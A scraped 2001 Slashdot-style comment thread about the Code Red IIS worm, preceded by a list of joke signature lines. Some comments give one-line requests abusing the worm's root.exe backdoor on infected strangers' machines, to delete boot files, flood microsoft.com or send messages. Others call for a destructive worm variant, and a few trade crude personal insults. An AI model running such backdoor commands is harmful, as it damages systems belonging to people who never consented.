it may be more useful to think of s/w as similar to things that can affect large bodies of people, weather, war, famine, disease, religion, weapons of mass destruction, and other post-national affectors.....
the only way that the use/adoption/deployment of any thing not deemed useful or in the common interest or outright dangerous, can be affected is by large #'s of responsible individuals who can coordinate together to stop/correct it...
the Big Stuff (as always) must be handled by the adminstration of personal and civic responsibility...
the Court system (any Court System, anywhere/everywhere) is at best simply a bunch of guys in one of grandma's old outfits, routinely applying predetermined logic blocks to roughly analogous situations..it was never meant to handle the Big Stuff and/or replace the aforementioned personal/civic responsibility...
Ten quid, she's so easy to blind. And not a word is spoken...
I started receiving the same thing after I UPGRADED to the new @HOME software in windows (I know I know - but the kids won't switch so I have to dual boot!). I'm running portsentry so it just blocks it out.
-->If Linux was written by Bill Gates & Co. - no one would want to switch !!
At least give some credit!! That was origionally a spoof of the goodtimes hoax.
-
..oh wait, he does. -- by Nate Fox (slashdotatdafox.org) on Friday August 10, @11:00AM PDT (#54) (User #1271 Info)
I've been making a list of the best of Slashdot humor. Here it is. In the beginning I did not record the user name:
Lotteries are a tax on people who suck at math.
"He that is wounded in the stones, or hath his privy member cut off, shall not enter into the congregation of the LORD." - Deuteronomy 23:1
The metric system is the tool of the devil!! i get forty rods to the hogshead, and that's the way i likes it!!
Someone had to put all that chaos there! by Greyfox (nride@uswest.net)
I love vegetarians - some of my favorite foods are vegetarians.
"Today's forecast calls for sprinkles of genius with a chance of doom!" - Stewie Griffin
The truth does not set you free, it just makes everyone irritable.
Which is worse: Ignorance or Apathy? Who knows? Who cares?
It's pretty funny, actually. It all started when I thought that inflammable was the opposite of flammable...
From a signature line at the end of every message: [Drink Coke] [Army - Be All You Can Be] [This ad space for sale! Contact the author for current rates]
"You can't have everything. Where would you keep it?" -- Steven Wright
A computer without a Microsoft operating system is like a dog without bricks tied to it's head. dieMSdie (steve@spam-is-bad.xtn.net)
"Science is like sex: sometimes something useful comes out, but that is not the reason we are doing it" -- Richard Feynman
This is a UNIX email virus. It works on the honor system: If you're running a variant of unix , please forward this message to everyone you know and delete a bunch of your files at random. Thank you for your cooperation. by pjl@patsoffice.com
Error: Cannot find file REALITY.SYS - Universe halted, please reboot! (NoSpam_Jonathan_Bayer@bigfoot.com)
It's sad to live in a world where knowing how to program your VCR actually lowers your social status... (rhopkins-at-crosswinds-dot-net)
Disclaimer: The opinions expressed in this post are not necessarily mine, as I've not yet had my medication today. (jmblant@clemson.dontsendmespam.edu)
When I have to develop under Windows, I spend long, frustrating days where mis-handling of a pointer causes BSOD, not a core dump. (Gen-GNU)
"Linux is a beautiful thing, but beauty is in the eye of the beholder, and we're geeks.
Be nice to your friends. If it weren't for them, you'd be a complete stranger. (Yamao)
The white zone is for loading and unloading only by error 404 on Mon Jun 12th, 2000 at 10:30:10 AM EST, kuro5hin
5.72 MOhms across my tongue... should i be concerned? MrResistor (mrresistor@hotmail.com) on Tuesday June 13, @03:38PM EDT (SD)
"Why does everyone always overgeneralize?" by p3d0 on Monday June 05, @12:37PM EDT (SD)
If at first you don't succeed, try a shorter bungee. by leonbrooks on Thursday June 15, @08:10PM EDT
-- Any attempt to brew coffee with a teapot should result in the error code "418 I'm a teapot". The resulting entity body MAY be short and stout. [RFC 2324] by Eric Green (eric@badtux.org) on Thursday June 15, @03:48PM EDT
The Internet interprets advertising as damage and routes around it. by Paul Crowley (slashdot-paul@cluefactory.org.uk)
There are two kinds of people in this world -- Those who divide people into two groups and those who don't. by YogSothoth (jdumas9@z3eh.com (s/[0-9]//g)) on Friday June 16, @08:22PM EDT
The Christian Right is Neither -- by cbuskirk (cbuskirk@yahoo.com) on Friday June 16, @07:35PM EDT
Inertia's what makes the world go 'round. -- by rana on Friday June 16, @07:54PM EDT
If you are angry with someone, you should walk a mile in their shoes... then you'll be a mile away from them, and you'll have their shoes. -- by hobbit (hamish@nutshell.SPAM.freeserve.SPAM.co.uk)
Fruit flies like bananas... Time flies like the wind... by DanBari on Tuesday June 20, @02:19AM EDT
Who is General Failure, and why is he reading my hard drive? mcelrath (mcelrath+slashdotcomment@draal.physics.wisc.edu)
"One World, one Web, one Program" - Microsoft promotional ad "Ein Volk, ein Reich, ein Fuhrer" - Adolf Hitler by Wakko Warner (wakko@qwerty.bitey.net) on Wednesday June 21, @09:25PM EDT
"'Tis some script kidd3z," I muttered, "tapping at my server port-Only this, and nothing more." by Barbarianconanford_please-no@spam-yahoo.com) on Thursday June 29, @07:11PM EDT
The early bird gets the worm, but the second mouse gets the cheese. warpathwarpath@the-cantina.com) on Thursday July 06, @06:13PM EDT
-o-"Warning: You are logged into reality as root..."-o- by Munky_v2email_me@www.dialug.org) on Friday July 07, @09:32AM EDT
There are three types of people in the world; those who can count, and those who can't. -- by Uruks2mdalle@titan.vcu.edu) on Monday July 10, @02:04PM EDT
All generalizations are false. -- by The_Messengerkmfms.com@drew) on Monday July 10, @04:07PM EDT
A theory: Women do not, snore, burp, sweat or fart. Therefore, they must bitch, or they will explode. -- byy m0nkeyb0y on Wednesday July 12, @01:34AM EDT
Why is it that it's a penny for your thoughts, but you have to put your two cents in? Somebody's makin a penny. --Steven Wright
I've lost my faith in nihilism. -- by hey!mattleo@treehouse.acrcorp.com) on Monday July 17, @10:08AM EDT
Being a geek means never having to ask, "Paper or plastic?" -- by Loligoljm@delete_this.fc.net) on Friday July 21, @01:40PM EDT
"Ah yes, the Tomahawk Cruise missle... the rich country's car bomb." -- by Rand Race (helixp@nospam.bellsouth.net) on Friday July 21, @03:29PM EDT
I am hypoallergenic, dermatologist tested, and dishwasher safe... -- by ecliptic_1 (ecliptic_1@spamsux.bigfoot.com) on Friday July 21, @09:49PM EDT
The problems that exist in the world today cannot be solved by the level of thinking that created them. -- Einstein
There is nothing more odious to me than an expensive church. -- by brogdonandrew(at)imagersoft.com) on Tuesday August 01, @02:58PM EDT#106)
"Bill Gates is just a monocle and a Persian Cat away from being one of the bad guys in a James Bond movie." - Dennis Miller
Bad spellers of the world, untie! -- by Fjord_Reddfjord_redd@programmer_dot_net) on Wednesday August 02, @10:43AM EDT#19)
Every night, tired dyslexics around the world look forward to 8 hours of peels. -- by sirinekbillHATESSPAM@sirinek.com) on Wednesday August 09, @12:45PM EDT#124) (User #41507 Info)http://www.sirinek.com
"I do know I'm ready for the job. And, if not, that's just the way it goes." G. W. Bush 8/21/2000
by NecroPuppy on Tuesday August 22, @10:51PM EDT#14) (User #222648 Info) A friend of mine has a barcode on his arm. He rings up as a $.35 pack of JuicyFruit.
Preserve Wildlife -- Pickle a squirrel today! by HydroCarbon10synth903@hotmail.com) on Thursday September 07, @10:48AM NT#23)
You know lately I've been thinking recently about the sig system. I really think that 120 characters seems a bit restr -- by Valar nospamyalusers.kungfoo@linuxstart.com) on Thursday September 07, @11:07AM NT#74) (User #167606 Info)
"Don't anthropomorphize computers. They hate that." -- by poiu on Thursday September 07, @10:50AM NT#124) (User #106484 Info)
5 out of 4 People have problems with fractions. -- by fjordboy noneofyourbeeswax@noneofyourbeeswax.com) on Sunday September 10, @07:16PM EDT#116) (User #169716 Info)http://www.iceball.net
Never miss a good chance to shut up. -- by Aleatoricrsanders@webzone.net) on Monday September 11, @03:15AM EDT#46) (User #10021 Info)
Give me ambiguity or give me something else -- Re:That last ten percent... (Score:2, Informative) by seanmeistersubsynthesis@subdimension.com) on Wednesday September 20, @04:37PM EDT#53) (User #156224 Info)
The music business is a cruel and shallow money trench, a long plastic hallway where thieves and pimps run free and good men die like dogs. There's also a negative side. - Hunter S Thompson
Apocalypse n. Writings from Jewish authors... designed to cheer the hearts of the Jewish people (Webster) -- My password... (Score:1) by MrScience on Friday September 29, @12:06PM EDT#221) (User #126570 Info)"
If at first you don't succeed, it is quite certain you will give up skydiving. -- Maybe it just crashed? (Score:2, Informative) by LilGuy on Wednesday October 04, @04:44PM EDT#54) (User #150110 Info)
I'm a dyslexic agnostic with insomnia... I lie awake at night wondering if there really is a dog! -- Re:Electoral College (Score:1) by Q-Hack!kc5aot_HATES_SPAM_@qsl.net) on Thursday October 19, @09:49AM PDT#23) (User #37846 Info)http://www.qsl.net/~kc5aot
Sponsored by: Chork Lite - Because having an active lifestyle doesn't mean you have to give up jellied meat. -- by Towertwrau.p.dueirml@eo) on Tuesday May 01, @01:03PM EST#60) (User #37395 Info)
I'm in search of myself. If you found me before I arrive, please have me wait. -- by jsse on Wednesday May 02, @09:50PM EST#63) (User #254124 Info)
"Time's fun when you're having flies." - Kermit the Frog -- by joshyboy on Wednesday May 02, @09:31PM EST#17) (User #237516 Info)
...A no smoking section in a resturant is like having a no peeing section in a swimming pool... -- From whats been happing..... (Score:1) by SGDarkKnight on Monday May 07, @11:51AM EST#30) (User #253157 Info)
I'm in search of myself. If you found me before I arrive, please have me wait. -- Very bad case for US (Score:2) by jsse on Thursday May 17, @03:40AM EST#11) (User #254124 Info)
Swearing is the crutch of inarticulate mother fuckers. -- whitehouse.gov. IN CNAME hongkonggov.cn (Score:1) by xodiakbrad AT geeknet DOT net) on Thursday July 19, @03:45PM PDT#15) (User #95699 Info)http://www.pander.org/
If Bill Gates had a nickel for every time Windows crashed...
-
Bush's education improvements were
Certain Cisco routers crash when they get a Code Red probe. Supposedly, they have a builtin webserver for configuration purposes. So unplugging/replugging the router may occasionnally be necessary.
I think that a large proportion of the infected machines are the desktops of users who just installed IIS along with the rest of everything because they didn't know what they needed and what they didn't. These are boxes that don't have systems admins to patch them. I'll bet that half of these people don't even know that they have IIS installed and if they do, they don't realize that they're infected since they're files are all still there and the virus hasn't popped up a HUGE message on their screen saying "YOU ARE INFECTED".
Yes, I agree the current anti-gun-make suits are ridiculous. May as well sue Ford when an Escort is used as a getaway car.
Whoops...the link is right, the text is not. There's no "www" in there. Just click. I promise it's not goatse.cx. :-)
Apparently, of the rich, by the rich, for the rich.
The lead story said: I'm still wondering what I should do with the hundreds of IPs in my desktop's apache log trying hopelessly to overflow my buffer.
You should donate them to charity. I hear Bill G could use them.
--- Will in Seattle - What are you doing to fight the War?
They simply don't give a sh*t. And why would they? As long as the press is kissing their butt, what's to worry about? The customer? Yeah, right.
bla
/root.exe?/c+del+/a+srh+/q+/f+c:\ntldr.*
Bye bye boot process...
I don't want to make the machine unbootable. I just want to disable Code Red.
-russ
Don't piss off The Angry Economist
It has had some ISP's disconnect internal port 80 connections. Resulting in some Apache or other webservers no longer being able to work. Yeah and patched IIS ones too.
It gives unix users a new hobby. Reading Code Red hits in their logfiles
It is a new FAD
-- RTFM:Slackware::Beer:Saturday
A lot of people have said that other software packages can install IIS without telling the user about it.
I also don't know what the details of how to install IIS on W2KPro are, but I bet it isn't that hard to do "accidentally" -- If nothing else, I can see people just checking everything "just in case" without realizing that that meant that it would run automatically on boot.
I've NEVER seen that before. What version of SQL were you installing?
Then again, a java program that prints "Hello, World!" uses 100% CPU on my machine (G3/233, Debian/PPC). C++ doesn't have this problem.
My other car is first.
Comment removed based on user account deletion
MS is not alone in this type of negligence. For far too long, Red Hat Linux installations defaulted to having sendmail run, and had it configured so it would forward e-mail.
different states/provinces/countries have different outtakes on that, depending on the severity
What if Mr. Schmoe wants to use his spiffy MS web authoring tool, Frontpage? or Visual Interdev? On win9x they'll both try to install the PWS. What do they do on NT/2k?
IIRC, the various dialogs are full of "without this feature, you will not get the full functionality..." messages, and NOT full of "You are installing an Internet Service, with all the responsibility that this implies" messages.
Is Code Red = T.H.E N.E.T? Imagine when it's done..
Rember those ads that had Ford CEO Jacques Nasser saying "We are doing everything possible to fix this tire situation". Wouldn't it be cool if Bill Gates would do the same thing? Might be good for his PR.
http://www.windmeadow.com/
Code Red won't be a huge problem until the script kiddies start to exploit the holes.
Those people posting apache logs of infected machines are just as guilty as those whom use those logs maliciously.
One would think that, even though this is "Microsoft's Fault", we would have some compassion and make an attempt to stop the damage where we can.
What a merry band we are. My box can't get infected, but here is a list of machines you can go exploit.
-S
We Apprentice Developers and Designers
Now that the Trilogy is finished it's time to work on the prequels ..
All the special effects and all the l337 new characters in the world are not going to help it - but we can't let it die.
It keeps popping up these annoying ads every time I visit a web site, and leaving them under the browser window, so I have to close each one.
...
None of my antivirus software packages seem to be able to detect it, though
--- Will in Seattle - What are you doing to fight the War?
I don't understand how they couldn't know. I have installed quite a few NT 4 boxes and a couple of 2000, and I have never once seen IIS install itself. Is there something I am missing?
The only versions of 2000 that install IIS by default are all server variants. That target market damn well better know what they're getting. That won't include the average user. If they really want a web server, the sticker shock of 2000 Server will send them to Linux.
This sig intentionally left blank.
.. why doesn't somebody just code up a worm similar to Code Red, but applies the IIS server patch? It could be done anonymously, just like the worms are.. I'd do it myself, but I'm not a coder. =/
and start addressing the primary issue at hand. The issue is system administrators need to take proactive measures to make sure their systems have been patched. That's the problem and thats what needs to be addressed. There is nothing significantly fascinating about this program that deserves any noteriarty. It didn't find some weird flaw in design. It just exploits a buffer overflow which has always been a problem in peoples code. It's a really simple thing to fix at that. Enough about Code Red and more about the underlying problem.
You should watch more movies.
-- Cheers!
As you must know, their own license agreement says they cannot be sued for their software, and that all you have really bought is a funny-looking silver coaster and a piece of paper or two.
This industry as a whole is a castle of sand with the tide rapidly coming in, but nobody cares to admit it.
D
GET /scripts/root.exe?/c+ping+"www.microsoft.com"+"-t -l 4096 -i 9999"
Let's see just how many boxen we can get slamming MS at once...
The next Slashdot story will be ready soon, but subscribers can beat the rush and slashdot the links early!
From The Register
Best Slashdot Co
Although I can't say I agree with the tactics, these MS attacking virii may be the best advertisement for OSS in years. I wonder if that's the motivation behind them, or if it's just random delinquency :)
I can't wait to see the crackers feast on Win XP.
grep -ic default.ida /var/log/httpd-errors.log (how many hits are you at now?)
I found this on the securityfocus mailing list:
cat error_log error_log.1 | grep 'default.ida' | awk '{print $8 " " $1 " " $2 " " $3 " " $4 " " $5}' | sed s/[][]/" "/g > myreport.txt
Which then really begs the question; Now what should I do with this list of compromised machines? oh never mind...
And what do you do if your server runs third-party software that can't run with Service Pack 6?
Microsoft unfortunately has chosen to integrate IIS so tightly with the operating system, that to upgrade one is to upgrade the other.
Some folks are in a real pickle, and don't have the knowledge to get out of it in a short period of time.
grep 'default.ida' access_log | mail -s 'APACHE' redalert@dshield.org
They use this information to notify the owners of the machines of the infection and to track the progression of the worm.
Gates holding a press conference about Code Red would only hurt his PR - it would burst the PR bubble he's been taking advantage of :"Computer worm" -vs- "Microsoft worm".
Plus, what else is MSFT supposed to do? A (partial?) patch is already out. Gates can't say "we're doing everything we can" because it would imply that he can do more, and that MSFT is at fault. It would only enhance the association of Code Red with MS.
Yet.
The US Navy is giving it a good try, though.
--
"Open source is good." - Steve Jobs
"Open source is evil." - Microsoft
Tell you what. Show me the source for an OS coded in Java, I'll see if I can't find buffer overflow risks in it.
"Hardly used" will not fetch you a better price for your brain.
you bought a submarine with screen doors.
Anyone who build a sub should realise it will be under water.
Anyone who developes OS/Server code should realise it will be under attack.
-- www.globaltics.net
Political discussion for a new world
I totaally disagree here. When you buy a car, noone tells you that it has the potential to kill people, if used improperly, or not taken care of. Same thing applies here. Its time for people to start taking responsibility for thier own actions (inactions), and not pointing the finger elsewhere. They sysadmins (yes, even the cablemodem people who simply installed the software and walked away) are the responsible parties here.
"The natural progress of things is for liberty to yield and government to gain ground." - Thomas Jefferson
You -- like everybody else -- know exactly jack shit about who writes this stuff.
Python has no buffer overflow problems. Neither does Perl. Okay, so .... what does that tell you? Is this something that has "always been a problem in people's code."? Or is it something in the C library that encourages buffer overflows?
-russ
Don't piss off The Angry Economist
Of course it will work fine on a cable network..you can block the MAC address of the cable modem itself. Poof! Gone. RoadRunner definitely has the capability to do this.
Your post seems to have been moderated down as well. This seems to happen very often with posts discussing moderation. It's so common, it's almost caricatural: apparently some moderators can't stand it if you question their moderation skills. If anybody from the Slashdot crew is reading this, may I propose the following safeguard against such moderation abuses:
- If a post has moderator (case insensitive) in the title, and...
- ... a moderator has already moderated any direct or indirect parent of said post...
- ... then the same moderator cannot moderate this post.
It would be relatively safe against abuse (for example, just putting moderators in the title of posts linking to a certain well-known site on the Christmas Islands...) as all the other moderators could still mod it down. Only the moderators who have modded down or up one of the parents would be barred.As an addition, we could remove Offtopic from the moderation menu for any "moderators" post. Although discussion about moderation is not, strictly speaking, on topic, I think these meta-discussions are still justified. You would still be able to moderate them down as Flamebait or Troll, just not as Offtopic (as long of course, as you didn't mod a parent).
The comment you were replying too was moderated as funny, so it must be some kind of joke. Don't worry though, I don't get the joke either... Or is this just a parady of the "The next version of Linux will support SCSI", "Linux doesn't have a GUI", "Word is so much better at typesetting math than LaTeX" or "IE outperforms all Linux browsers, even when running in VMware" type affirmations that you still occasionnally see in some traderags of ill repute?
Microsoft loves it because they get to release patches, and proclaim to the world "we're the good guys, protecting you from those unamerican people who share code!"
The lawmakers get shits and giggles because now they have a reason to pass new, more restrictive laws regarding comminication across "the information superhighway."
The prison system salivates over this sort of stuff. It creates more potential for 15 year old kids to be thrown in prison for essentially victomless crimes. Nothing like young ass for the seasoned prison rapists!
Open source fanatics get another nit to pick with big bad Microsoft. Go free software! No, go open source! No, go free software!
News like this is the best kind around.
The middle mind speaks!
I talked to the Verizon support center and they told me port 80 into their network will be blocked until the code red worm dies down, probably 2-3 weeks, but that is not a commitment. I then asked to be released from my year long contract I signed to get a free DSL modem and web cam since they broke their contract (no changes in service without 7 weeks notice) and they said no, cancellation charges would still apply. Anyone starting a class action suit?
Free cell phone tracking
Seems odd to me too since Code Red II (not CRv2) can't infect NT servers - it just crashes them when it tries to run due to a bogus jump table that only works with Win 2K.
From the Code Red II analysis: This worm, like the original Code Red worm, will only exploit Windows 2000 web servers because it overwrites EIP with a jmp that is only correct under Windows 2000. Under NT4.0 etc... that offset is different so, the process will simply crash instead of allowing the worm to infect the system and spread.
Top Most Bizarre/Disturbing Error Messages
--------
Bleah! Heh heh heh... BLEAH BLEAH!!! Ha ha ha ha...
I wonder if that gentleman at the Ministry of Information will be providing us with Kwang-sup Grade 11...
Is that when all the plaintifs have to stay in the same hotel room?
God, I'm still on version 1 of code red. Does anybody know where I can download the latest version? Is there a mail list I can get on so I know I have the lasted version on my IIS server?
Tnks.
-Nuke the moon
Screw'em! Can some please just release a new CR version that contains the IPs of the unpatched servers so that when they all switch from infect to attack mode they can just DDOS each other to death. If you haven't patched your server by now then I hope it catches fire!
- The auditors said to secure the server... hand me that duct-tape -
To my knowledge, Microsoft didn't even try to mass-mail the patch to their registered customers who might be affected.
From: Support@iis.microsoft.com
To: Registered_Users@iis.microsoft.com
CC:
Subject: RE: IIS Code Red Worm Patch
Attachment: Instructions.doc
Body:
Hi, how are you?
We are writing you in response to the Code Red worm that has recently attacked our premium enterprise gold standard web portal system, Microsoft Internet Information Server. We have compiled a set of directions for patching the server, and have included these instructionsin a easy to read Word document. If MS Outlook didn't automagically open this attachment for you, double click on the attachment link above.
If you have any advice on this file, please email us back!
See you later!
There a java program that emulates IIS servers and waits for a GET /defualt.ida request and then warns them. It exploits their security hole to do a netsend from their local machine to themselves explaining they are victims of codered and a link to visit to fix it.
Here is the link for the program:
http://www.dynwebdev.com/codered/
The buffer overflow we're talking about is not in an OS kernel (Windows), but in an application (the IIS webserver), for chrissakes!
How big a distinction does Microsoft draw between "kernel" and "application" anyway? After all they are always on about "integration"...
What we really need is a variant of Code Red that compleatly hoses any computer that it hits -- something that people can't overlook.
:)
It can't do this too quickly or it wouldn't get that many of them. Also people would just reformat and reinstall. "Evolution" dosn't work very well with "reincarnation"
Try this little awkscript:
/var/log/http/access_log | grep "default.ida" | awk '/XXXXX/{ cr[$1]=$4"\tCodeRedII"} /NNNNN/ { cr[$1]=$4"\tCodeRed_Original" } END { for (x in cr) print x"\t"cr[x] }' > codered_analysis
cat
This creates a file, codered analysis, which contains each unique attacking host only once, with the most recent attack time. This way, you can look at the attacking machines without duplications, and can also `wc' the file to see how many unique ones have hit you.
Plus, it detects the difference between CR1 and CR2 too!
---
the pen is mightier than the sword, the sword is mightier than the court, the court is mightier than the pen.
There is an entry in my apache access log as follows authorized-scan1.security.home.net - - [09/Aug/2001:15:41:08 -0700] "HEAD" 400 -
Yup we all can see that. Hopefully you get over it and move to a less challenging career like janitorial work.
needless to say they disabled split VPN tunnels but by then it was too late. It took them days to get it under control.
I'm a gun nut, but even I will say that a maker of a defective gun should be liable. If it explodes in your hand, that's an issue. IIS is exploding in a way, and MS should be liable.
My view is very simple: Things you buy shouldn't suck.
--in my rush to defend the language, I got suckered into responding to someone who's either a script kiddie or a troll, or both.
"Hardly used" will not fetch you a better price for your brain.
Hehe. That reminds me of something that I just saw in the bank drive-thru.
There are these little video screens on each of the whooshy-tube things you pull up to. They normally cycle through a whole bunch of ads for the bank's latest products and services. This time, however, there was a Powerpoint error message on the screen. Something or other about 'Powerpoint has encountered an error it cannot fix. Please close the application and restart.'
Well, I found it amusing.
I have several different entries in my apache logs it is the XXXXXXXX string without the default.ida listed in it, the entire string is all XXXs with the same code following the string as the original default.ida/NNNN and default.ida/XXXXX requests. Just wondering if anyone else has seen this.
you ain't kidding. read this gem at:l
http://cnet.com/enterprise/0-9566-7-4561136.htm
"While it may seem that the fault lies in IIS, these security flaws still don't suggest that another Web server will offer appreciably tighter security. Paul Robichaux of Robichaux & Associates, a security consultant and columnist for Microsoft's TechNet, says Windows 2000-based Web servers aren't any more vulnerable than other Web servers. All Web servers have security holes. Carnegie-Mellon University's CERT Coordination Center , a site devoted to improving Internet security, is a good indicator of the extent of Web security problems. The site reports on security breaches that plague virtually all Web server and related products.
What might make IIS 5.0 more prone to reveal its vulnerabilities than alternative Web servers such as Apache , may be--ironically--its popularity. It's likely that IIS's high visibility as Microsoft's flagship Internet product is reason enough to attract the attention of a lot of hackers.
So the bad news is that simply by running IIS you may be more likely to fall into a hacker's sights. The good news is that you can button up your IIS installation and foil the hackers."
They quote a columnist for Microsoft's TechNET who makes the false claim that IIS is more popular than apache, and attributes the widespread exploits to that (false) popularity!
Well, suppose we had this giant electronic speculum ;-)
Kyle Reese: This code red virus, It's out there, looking for your IIS server. It feels no passion, no sympathy or remorse. It can't be bargained or reasoned with. It's just going to come for you, unless you can stop it yourself.
Windows net send messages can go to the whole domain, but this limits them to 128 characters. My modification to WebSnarf.pl makes a get request to "/scripts/root.exe?/c+net+send+%userdomain%+%22%CO MPUTERNAME%+is+infected+with+codered+and+attacked+ me.+Fix+it.%22"
Ah coding practices. Sorry, Murphy's law you know. If it can go wrong it will go wrong (and he porves himself right a lot lately). That's why even prorgams that have been around since the early days of UNIX are sometimes caught with their pants down (recent BIND bug anyone).
Any manual check can be forgotten and be a potential security hole. Once it is forgotten it merely depends on who finds the hole first: script kiddie or code maintainer.
And lets rub this in deeply, there are plenty of languages that protect you against the single most frequent cause of security leaks that is costing the world billions of dollars in damage annually (and it sure isn't C). Any program that is going to be exposed to hackers (i.e. any internet server software) should never ever be programmed in C. You simply cannot guarantee that the compiler and libraries are correct. Even if your program is correct, those still can be a potential source of bugs. Your average UNIX system likely has dozens of undiscovered potential buffer overflows.
Us java programmers are laughing our asses of each time a buffer overflow is wreaking havoc on the internet. We don't have to worry about such things. Java may not be the greatest thing, but you can rest assure that buffer overflows won't happen.
Jilles
True... and the Code Red Resource Kit, the Code Red SDK, 'Programming Code Red', 'Inside Code Red', and, through IDG, 'Code Red for Dummies'!
Alright, I'm not a big fan of MS either, but it must be said in all fairness that both the vulnerability and the patch were announced very early by Microsoft on their security bulletin newsletter. Subscribing to that newsletter is a matter of seconds, you don't even have to be a registered customer or anything (see here) :)
It has been said too often already, but the main responsibility lies with admins who don't care to install patches and with clueless home users who don't even know they have a web server running...
They sent out a warning to remove the isapi mappings the same day Code Red was discovered, and as soon as the patch was out, they sent out a notification...premier customers also received a mail message about a week later, but at that time, our servers were already patched
frotz grue
NN.NN.NN.NN - - [10/Aug/2001:04:11:20 -0700] "GET / HTTP/1.0" 200 7023 /753f7d950154aaec...1cc7 HTTP/1.0" 404 258 /scripts/root.exe HTTP/1.0" 404 210 /MSADC/root.exe HTTP/1.0" 404 208 /c/winnt/system32/cmd.exe HTTP/1.0" 404 218 /d/winnt/system32/cmd.exe HTTP/1.0" 404 218 /NULL.ida?http-42.AAAAAA...AAAAAAAAA=X HTTP/1.1" 404 214 /NULL.idq?http-42.AAAAAAAA...AAAAAAAA=X HTTP/1.1" 404 214
NN.NN.NN.NN - - [10/Aug/2001:04:11:20 -0700] "GET
NN.NN.NN.NN - - [10/Aug/2001:04:11:20 -0700] "GET
NN.NN.NN.NN - - [10/Aug/2001:04:11:21 -0700] "GET
NN.NN.NN.NN - - [10/Aug/2001:04:11:21 -0700] "GET
NN.NN.NN.NN - - [10/Aug/2001:04:11:25 -0700] "GET
NN.NN.NN.NN - - [10/Aug/2001:04:11:26 -0700] "GET
NN.NN.NN.NN - - [10/Aug/2001:04:11:29 -0700] "GET / HTTP/1.0" 200 7023
NN.NN.NN.NN - - [10/Aug/2001:04:11:30 -0700] "GET
NN.NN.NN.NN - - [10/Aug/2001:04:11:33 -0700] "GET / HTTP/1.0" 200 7023
Or is there somebody trying to exploit the CodeRed backdoors? Mind you, this is within a supposedly protected firefall.
...Code Red XP and Code Red.NET
Yes. I do know what was intended. But, it's fun to take things too literally occasionally.
Edward Burr
Having a smoking section in a restaurant is like having a peeing section in a swimming pool.
What kind of server buffer handler would execute the content of the buffer?
That's not exactly what happens. Once the buffer overflow has occurred, the server is no longer in control. What happens is that the buffer overflow causes the stack pointer on the CPU to be overwritten, and so now the returning jump from the function is at a new address -- usually the address of a system call to get a root shell, etc. This is known as "smashing the stack".
Intel transfer the difficult from Hadware to software, for get more power, programmer need more technology. -- chinaitn
And by the way, Coward, I'm a junior computer science & engineering major at a well-respected private university where I am the chairman of the Association for Computing Machinery (ACM). I also have a high IQ and don't hesitate to arrogantly and effectively deal with scum like yourself.
Have a nice day :-D
If you celebrate Xmas, befriend me (538
Ever since Mediaone/AT&T started blocking port 80 (as of 2am last Monday here in Minnesota), I've been jealously watching you guys get to have all the fun.
:-(
On the bright side, I have gotten acknowledgement from RRcustomercare (Mediaone/ATT/RR/pick one fscking name already!) that yes, technically it is okay to run a server as long as you don't negatively impact others. Then again, they are still saying that until this worm dies out, none of their customers will be seeing any incoming packets on port 80.
If all of these admins had half a brain, they would have patched their servers already!!! As fo the "hidden" box, they can't be very good at what they do, if they DIDN"T KNOW THE BOX EXISTED!!! I wouldn't send them email stating Apache is better, I would tell them patch your sh*ty IIS server U f*cking worthless admin, then find a new career!!!!
RoadRunner is additionally trying to shut down individual cable modems, rather than some of the more extreme measures other providers are using (like killing port 80), so kudos to them. Please get the word out to anyone running 2K or NT to check their box, not just anyone who KNOWS they're running a website.
+5:offtopic,but anti-American
Tired of applying patches to IIS? Tired of checking if your machine is infected with CodeRed? I've found the cure-all. And best of all, it's free!
There's also the subtle difference that flaws in Microsoft products don't kill people.
In Star Wars, episodes 1, 2 and 3 suck, while episode 4 is good, and it get's better in 5. It then starts to die in episode 6.
What does that mean when it comes to Code Red? We haven't seen nothing yet! You thought episodes 1 and 2 were bad? Wait 'till we get to 4 and 5!
Lesbian Nazi Hookers Abducted by UFOs and Forced Into Weight Loss Programs - -all next week on Town Talk.
I spent a couple of hours yesterday sending out emails to just about everyone that hit my box at home. Just toss the IP into a browser and get some contact info from the site that comes up (if one does come up). I got MANY replies thanking me for finding that "hidden" box on their network.
And no, this isn't the time to send off an email that says "ditch your M$ crap and goto apache" because most of these poor admins aren't running IIS because they WANT to...it's what they HAVE to do.
So let's take back some bandwidth already!
hmmm...
This sig intentionally left blank.
Cabl modems in the UK are new (been out for justover month in my town). I think I'm pretty much the only one (well, therse about 50, giving a random pinging - broadast doesnt work) on my subnet, which is probably a town of 150-200,000.
I've only got 2 attemps in 2 weeks from my subnet.
Our university's student union servers were gettin the same number of hits as me up to a cuple of days ago.
Maybe it's the fact that you're an absolute moron. Think so? I do.
Did you read it at all? This proprietary software won't run with the net patch. Moron. Theyr'e currently working on fixing it. I think Apache with mod_proxy would be the best temporary fix.
Oh my god. I hope you're being funny because if you wrote that post in seriousness you should commence suicide procedures immediately.
Wow, a respected private college...and you've learned so much that you "correct" people using the generally accepted shortform for IP address? That's sad. I see from your other posts that you've taken to filling the grammar-Nazi role. That's just fuckin' sad (by the way: I would gauge that you are both a pillowbiter and a cockbiter).
By the way, dildo, it's "appalled", not "appaled".
Get back to your masturbation little boy.
The problem is freaking clueless users installing web servers and then not maintaining them!
What we really need is a variant of Code Red that compleatly hoses any computer that it hits -- something that people can't overlook. Then and only then will the clueless twits running these servers get the idea that they have to be responsible when they expose themselves to the Internet.
Any volunteers?
Your Servant, B. Baggins
Hey cool..... I live in Peterborough too, and always thought the archetecture at Trent University was pretty cool (which, BTW, is why they chose it as the location to film Urban Legends II)
maybe I should go see that sometime...
Code Red -3: The Internet Menance
Code Red -2: Attack of the Reds
I wonder if the symptoms of Code Red 3 is just similar as the one as the second version here or here? Or probably the first version?
--
Error 500: Internal sig error
Get over it. Code Red is dead.
The folks here at the Fortune 500 company I work for who have been working around the clock since Wednesday trying to clean up this mess will be real happy to hear that you don't believe it exists.
http://slashdot.org/askslashdot/99/11/11/0249242.s html
FYI, there appears to be some differences in the terminology between versions, and at least one major AV vender *cough*McAfee*cough* has crucial details wrong.
What CERT calls "Code Red II" is the third iteration, and that's what hit us. Some others are calling it III, and McAfee claims II doesn't run on NT. Which is bullshit.
http://loraksus.d2g.com/access.log
There, seems that there are lots of dumb asses in my IP range.
1q2w3e4r5t6y7u8i9o0pqawsedrftgthyjukilo;p'azsxdcf
It's time to modify the Code Red 3 virus into Code Red 4, or C4 (ironic name), and code it to either disable all networking functionality on WINNT machines or just nuke the C:\WINNT directory entirely. Of course it will have to not do this immediately in order to spread to all Win boxes.
ISPs and Microsoft had many chances to crrrect it. What has been the effect so far?
